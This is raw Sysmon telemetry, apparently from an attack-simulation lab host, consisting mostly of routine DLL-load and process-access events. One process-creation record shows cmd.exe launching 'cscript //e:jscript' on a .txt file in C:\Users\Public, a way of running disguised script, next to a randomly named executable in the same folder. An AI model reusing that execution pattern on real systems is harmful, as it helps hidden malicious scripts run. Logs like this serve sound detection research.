14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000049975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5A0B-00000000F001}23445132C:\Windows\system32\conhost.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000049971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-590B-00000000F001}19484224C:\Windows\System32\cmd.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\cmd.exe+1b13|C:\Windows\System32\cmd.exe+c9d2|C:\Windows\System32\cmd.exe+c295|C:\Windows\System32\cmd.exe+f916|C:\Windows\System32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.834{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exe5.812.10240.16384Microsoft ® Console Based Script HostMicrosoft ® Windows Script HostMicrosoft Corporationcscript.execscript //e:jscript ibivigi.txtC:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=8552F94CFD39A4C307BCD1BD88D41604,SHA256=6216383428EAB3292C5590C70D24B33A7D84FBF1C463E331C40F052E6EA356FE,IMPHASH=77838A7D26CC1C7050C41CF6165BAD0E{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B cscript //e:jscript ibivigi.txt 734700x800000000000000049964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 734700x800000000000000049962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000049961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000049960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-65B2-613B-1600-00000000F001}12961984C:\Windows\system32\svchost.exe{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\system32\conhost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000049957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000049956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000049954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000049952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000049951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000049950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 10341000x800000000000000049949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}23445132C:\Windows\system32\conhost.exe{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000049947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000049945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 534500x800000000000000049942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.809{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe 734700x800000000000000049941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft 